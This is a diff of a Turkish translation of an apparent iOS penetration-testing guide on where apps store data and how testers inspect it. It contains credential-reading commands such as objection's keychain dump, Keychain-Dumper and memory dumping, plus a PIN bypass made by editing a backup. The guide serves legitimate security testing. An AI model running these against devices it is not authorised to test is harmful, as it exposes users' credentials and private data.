|
||||
> iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü de olacaktır.
|
||||
>
|
||||
> Ancak, her iki klasör (veri ve konteyner klasörleri) de `MCMetadataIdentifier` anahtarında her iki dosyayı bağlayan **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir.
|
||||
> Ancak, her iki klasör (veri ve konteyner klasörleri) de **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar.
|
||||
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut sağlar, `env`. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -238,7 +238,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
|
||||
- Kullanıcılara görünür ve **kullanıcılar buraya yazabilir**.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- **Library/**
|
||||
- **Kullanıcıya özel olmayan** tüm **dosyaları** içerir, örneğin **önbellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları.
|
||||
- iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
|
||||
@ -251,7 +251,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir.
|
||||
- **Kullanıcılara görünmez** ve kullanıcılar buraya yazamaz.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- **Library/Preferences/**
|
||||
- Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır.
|
||||
- Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır.
|
||||
@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt
|
||||
Regular 420 None ... Sentinel.txt
|
||||
Regular 420 None ... README.txt
|
||||
```
|
||||
### İkili Tersine Mühendislik
|
||||
### Binary Reversing
|
||||
|
||||
`<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla gerçekleştirebilirsiniz:
|
||||
```bash
|
||||
@ -315,7 +315,7 @@ DVIA-v2:
|
||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
Örnek uygulamanın **Objective-C segmentini** yazdırmak için şunları kullanabilirsiniz:
|
||||
Örnek uygulamanın **Objective-C segmentini** yazdırmak için şunlar kullanılabilir:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -366,14 +366,14 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevsellikleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıldıktan ve farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\
|
||||
> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevsellikleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıp farklı bir kullanıcıya giriş yaptıktan sonra** kontrol edilmelidir.\
|
||||
> Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve daha önce giriş yapmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir.
|
||||
|
||||
Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandasının içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir.
|
||||
Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandası içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir.
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **verileri** bir **plist** **dosyasında** saklar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır.
|
||||
|
||||
@ -385,7 +385,7 @@ Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
**XML veya ikili (bplist) formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
|
||||
**XML veya ikili (bplist)** formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:
|
||||
|
||||
**macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır:
|
||||
```bash
|
||||
@ -396,7 +396,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Bir Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır:
|
||||
**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
@ -407,7 +407,7 @@ CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir ş
|
||||
|
||||
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
|
||||
|
||||
**SQLite'ı açıp hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.**
|
||||
**Eğer SQLite'ı açabiliyor ve hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.**
|
||||
```objectivec:Code from iGoat
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
||||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
Bu veritabanı dosyalarını görüntülemek için [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir.
|
||||
Bu veritabanı dosyalarını görüntülemek için, [**Realm Studio**](https://github.com/realm/realm-studio) aracının kullanılması önerilir.
|
||||
|
||||
Bir Realm veritabanında şifreleme uygulamak için aşağıdaki kod parçası kullanılabilir:
|
||||
```swift
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Veritabanları
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **belge odaklı** (NoSQL) yaklaşımını izleyen **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanmaktadır. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmış olup, verileri sorunsuz bir şekilde senkronize etme yeteneği sunar.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios), **hafif** ve **gömülü** bir veritabanı motoru olarak tanımlanır ve **belge odaklı** (NoSQL) yaklaşımı takip eder. **iOS** ve **macOS** için yerel olacak şekilde tasarlanmış olup, verileri sorunsuz bir şekilde senkronize etme yeteneği sunar.
|
||||
|
||||
Bir cihazda potansiyel Couchbase veritabanlarını tanımlamak için aşağıdaki dizin incelenmelidir:
|
||||
```bash
|
||||
@ -487,9 +487,9 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Çerezler
|
||||
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **keychain** içinde saklamayı tercih ederler çünkü belirtilen **çerez dosyası yedeklerde erişilebilir**.
|
||||
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtar zincirinde** saklamayı tercih ederler çünkü belirtilen **çerez dosyası yedeklerde erişilebilir**.
|
||||
|
||||
Çerez dosyasını incelemek için [**bu python scriptini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
|
||||
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
|
||||
**Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
@ -508,7 +508,7 @@ iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/
|
||||
```
|
||||
### Cache
|
||||
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alınmışsa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu **normal bir SQLite veritabanıdır**.
|
||||
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, eğer tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alınmışsa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**.
|
||||
|
||||
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
|
||||
|
||||
@ -522,7 +522,7 @@ Bu yöntem, Cache.db dosyasından tüm önbelleğe alınmış istekleri ve yanı
|
||||
|
||||
[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Geçici bir oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasına (bkz. varsayılan) benzer, ancak ilgili oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir oturumla ilgili veriyi diske kaydetmez. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Geçici bir oturumun diske veri yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğiniz zamandır.`
|
||||
`Geçici bir oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasına benzer (bkz. varsayılan), ancak ilgili oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir oturumla ilgili veriyi diske kaydetmez. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Geçici bir oturumun diske veri yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğiniz zamandır.`
|
||||
|
||||
3. Önbellek, Önbellek Politikasını [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) olarak ayarlayarak da devre dışı bırakılabilir. Bu, önbelleği herhangi bir şekilde, ister bellek ister disk üzerinde depolamayı devre dışı bırakır.
|
||||
|
||||
@ -570,11 +570,11 @@ Bu, uygulama arka plana alındığında arka plan resmini `overlayImage.png` ola
|
||||
|
||||
### Anahtar Zinciri
|
||||
|
||||
iOS anahtar zincirine erişim ve yönetim için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) komutunu `ios keychain dump` sağlar.
|
||||
iOS anahtar zincirine erişim ve yönetim için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
|
||||
|
||||
#### **Kimlik Bilgilerini Saklama**
|
||||
|
||||
**NSURLCredential** sınıfı, NSUserDefaults veya diğer sarmalayıcılar gerektirmeden hassas bilgileri doğrudan anahtar zincirinde saklamak için idealdir. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
|
||||
**NSURLCredential** sınıfı, NSUserDefaults veya diğer sarmalayıcıları atlayarak hassas bilgileri doğrudan anahtar zincirinde saklamak için idealdir. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -588,7 +588,7 @@ iOS 8.0 ve sonrasında, kullanıcılar **Ayarlar > Genel > Klavye > Klavyeler**
|
||||
|
||||
**Güvenlik Önerileri:**
|
||||
|
||||
- Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
|
||||
- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
|
||||
- Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin, `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda hassas bilgileri önbellek dosyalarında saklayabileceğini unutmayın. Bu önbellek dosyaları, hassas veriler için düzenli olarak kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** yoluyla klavye sözlüğünün sıfırlanması önerilir.
|
||||
- Ağ trafiğini yakalamak, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletmediğini ortaya çıkarabilir.
|
||||
|
||||
@ -606,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Loglar**
|
||||
|
||||
Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Logların hassas bilgiler içerebileceği** riski vardır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalara erişilebilir durumdaydı ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
Kod hata ayıklama genellikle **loglama** kullanımını içerir. **Loglar hassas bilgiler içerebilir** ve bu bir risk taşır. Daha önce, iOS 6 ve önceki sürümlerde, loglar tüm uygulamalar tarafından erişilebilir durumdaydı ve bu da hassas veri sızıntısı riski oluşturuyordu. **Artık uygulamalar yalnızca kendi loglarına erişimle sınırlıdır**.
|
||||
|
||||
Bu kısıtlamalara rağmen, **açık bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak ve **logları okuyarak** bunu istismar edebilir. Logların, uygulamanın kaldırılmasından sonra bile diskte kalmaya devam ettiğini belirtmek önemlidir.
|
||||
|
||||
@ -616,7 +616,7 @@ Uygulamanın kaynak kodunu potansiyel sızıntılar için incelerken, `NSLog`, `
|
||||
|
||||
### **Sistem Loglarını İzleme**
|
||||
|
||||
Uygulamalar, hassas olabilecek çeşitli bilgileri loglar. Bu logları izlemek için, şu araçlar ve komutlar gibi:
|
||||
Uygulamalar çeşitli hassas bilgileri loglar. Bu logları izlemek için, aşağıdaki gibi araçlar ve komutlar kullanılır:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -642,9 +642,9 @@ Log aktivitelerini gözlemlemek için komutlar, sorunları teşhis etmek veya lo
|
||||
|
||||
### Güvenlik Riskleri
|
||||
|
||||
Yedeklemelere **kurulu uygulamalar ve bunların verilerinin** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin düz metin olarak saklanmaması önerilir.
|
||||
Yedeklemelere **kurulu uygulamalar ve verilerinin** dahil edilmesi, potansiyel **veri sızıntısı** ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirme riski** sorununu gündeme getirir. Bu riskleri azaltmak için, herhangi bir uygulamanın dizininde veya alt dizinlerinde hassas bilgilerin düz metin olarak saklanmaması önerilir.
|
||||
|
||||
### Yedeklerden Dosyaları Hariç Tutma
|
||||
### Yedeklemelerden Dosyaları Hariç Tutma
|
||||
|
||||
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURL setResourceValue:forKey:error:` ile `NSURLIsExcludedFromBackupKey` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilirler. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini korumak için kritik öneme sahiptir.
|
||||
|
||||
@ -652,7 +652,7 @@ Yedeklemelere **kurulu uygulamalar ve bunların verilerinin** dahil edilmesi, po
|
||||
|
||||
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, önce **bir yedek oluşturun** ve ardından [Apple'ın resmi belgeleri](https://support.apple.com/en-us/HT204215) rehberliğinde yedeği bulun. Uygulama davranışını etkileyebilecek hassas veriler veya yapılandırmalar için yedeği analiz edin.
|
||||
|
||||
Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasındaki "IsEncrypted" anahtarı kontrol edilerek doğrulanabilir.
|
||||
Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanarak ulaşılabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökündeki "Manifest.plist" dosyasında "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -665,19 +665,19 @@ Hassas bilgilere, komut satırı araçları veya [iMazing](https://imazing.com)
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Şifreli yedeklerle başa çıkmak için, [DinoSec'in GitHub reposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunan Python betikleri, **backup_tool.py** ve **backup_passwd.py** gibi, faydalı olabilir, ancak en son iTunes/Finder sürümleriyle uyumlu hale getirmek için ayarlamalar gerektirebilir. [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) ise şifre korumalı yedekler içindeki dosyalara erişmek için başka bir seçenektir.
|
||||
Şifreli yedeklerle başa çıkmak için, [DinoSec'in GitHub reposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunan Python betikleri, **backup_tool.py** ve **backup_passwd.py** gibi, faydalı olabilir, ancak en son iTunes/Finder sürümleriyle uyumlu hale getirmek için ayarlamalar gerektirebilir. [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) ise şifre korumalı yedekler içindeki dosyalara erişim için başka bir seçenektir.
|
||||
|
||||
### Uygulama Davranışını Değiştirme
|
||||
|
||||
Yedekleme değişiklikleri yoluyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir; burada UI kilit PIN'i `net.bither.plist` içinde **pin_code** anahtarı altında saklanmaktadır. Bu anahtarın plist'ten kaldırılması ve yedeğin geri yüklenmesi, PIN gereksinimini ortadan kaldırarak sınırsız erişim sağlar.
|
||||
|
||||
## Hassas Veriler için Bellek Testi Özeti
|
||||
## Hassas Veriler için Bellek Testi Üzerine Özet
|
||||
|
||||
Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır.
|
||||
Bir uygulamanın belleğinde saklanan hassas bilgilerle ilgilenirken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki ana yaklaşım vardır: **bellek dökümü oluşturma** ve **belleği gerçek zamanlı analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır.
|
||||
|
||||
## **Bir Bellek Dökümünü Alma ve Analiz Etme**
|
||||
## **Bellek Dökümünü Alma ve Analiz Etme**
|
||||
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin niteliğine bağlı olarak çeşitli araçlar gerektirir.
|
||||
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar, bir uygulamanın işlem belleğini dökme imkanı sunar. Döküm alındıktan sonra, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
|
||||
|
||||
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
|
||||
```bash
|
||||
@ -722,24 +722,24 @@ Daha fazla bilgi için iOS kriptografik API'leri ve kütüphaneleri hakkında [h
|
||||
|
||||
## Yerel Kimlik Doğrulama
|
||||
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktaya kriptografik yöntemlerle erişimi korumak söz konusu olduğunda kritik bir rol oynar. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
**Yerel kimlik doğrulama**, özellikle uzaktan bir uç noktaya erişimi kriptografik yöntemlerle korumak söz konusu olduğunda kritik bir rol oynar. Buradaki öz, uygun bir uygulama olmadan yerel kimlik doğrulama mekanizmalarının aşılabileceğidir.
|
||||
|
||||
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtar zinciri**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilerin kullanıcı kimlik doğrulama diyaloglarını kolaylaştırmak ve gizli verileri güvenli bir şekilde yönetmek için sağlam API'ler sunar. Secure Enclave, Touch ID için parmak izi kimliğini güvence altına alırken, Face ID biyometrik verileri tehlikeye atmadan yüz tanımaya dayanır.
|
||||
|
||||
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
|
||||
|
||||
- **`LocalAuthentication.framework`**: Biyometrik verilere erişim olmadan yüksek seviyeli kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`**: Biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük seviyeli anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
- **`LocalAuthentication.framework`**: Biyometrik verilere erişim olmadan yüksek düzeyde kullanıcı kimlik doğrulaması için.
|
||||
- **`Security.framework`**: Biyometrik kimlik doğrulaması ile gizli verileri güvence altına alarak daha düşük düzeyde anahtar zinciri hizmetlerine erişim için. Çeşitli [açık kaynaklı sarmalayıcılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtar zinciri erişimini daha basit hale getirir.
|
||||
|
||||
> [!CAUTION]
|
||||
> [!DİKKAT]
|
||||
> Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` zafiyetler sunar, çünkü esasen kimlik doğrulama süreçleri için veri iletmeden boolean değerleri döndürürler, bu da onları aşılabilir hale getirir (bkz. [Bana öyle dokunma, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Yerel Kimlik Doğrulama Uygulaması
|
||||
### Yerel Kimlik Doğrulamanın Uygulanması
|
||||
|
||||
Kullanıcılardan kimlik doğrulama istemek için geliştiricilerin **`LAContext`** sınıfındaki **`evaluatePolicy`** yöntemini kullanmaları gerekir ve şu seçeneklerden birini seçmelidirler:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemektedir, ikisi de etkin değilse başarısız olur.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID istemektedir.
|
||||
- **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için istemde bulunur, ikisi de etkin değilse başarısız olur.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Sadece Touch ID için istemde bulunur.
|
||||
|
||||
Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle belirtilir ve bu, potansiyel bir güvenlik açığını vurgular.
|
||||
|
||||
@ -747,9 +747,9 @@ Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen bool
|
||||
|
||||
iOS uygulamalarında **yerel kimlik doğrulama** uygulamak, kimlik doğrulama token'ları gibi gizli verileri güvenli bir şekilde depolamak için **anahtar zinciri API'lerini** kullanmayı içerir. Bu süreç, verilerin yalnızca kullanıcının cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama ile erişilebileceğini garanti eder.
|
||||
|
||||
Anahtar zinciri, kullanıcı başarılı bir şekilde Touch ID veya cihaz şifresi ile kimlik doğrulaması yapana kadar öğeye erişimi kısıtlayan `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
|
||||
Anahtar zinciri, `SecAccessControl` niteliği ile öğeleri ayarlama yeteneği sunar; bu, kullanıcı Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulama yapana kadar öğeye erişimi kısıtlar. Bu özellik, güvenliği artırmak için kritik öneme sahiptir.
|
||||
|
||||
Aşağıda, bu güvenlik özelliklerini kullanarak anahtar zincirine bir dize kaydetme ve geri alma işlemini gösteren Swift ve Objective-C'de kod örnekleri bulunmaktadır. Örnekler, Touch ID kimlik doğrulaması gerektirecek şekilde erişim kontrolünü nasıl ayarlayacağınızı ve verilerin yalnızca kurulduğu cihazda erişilebilir olmasını sağlamak için bir cihaz şifresinin yapılandırılması koşulunu göstermektedir.
|
||||
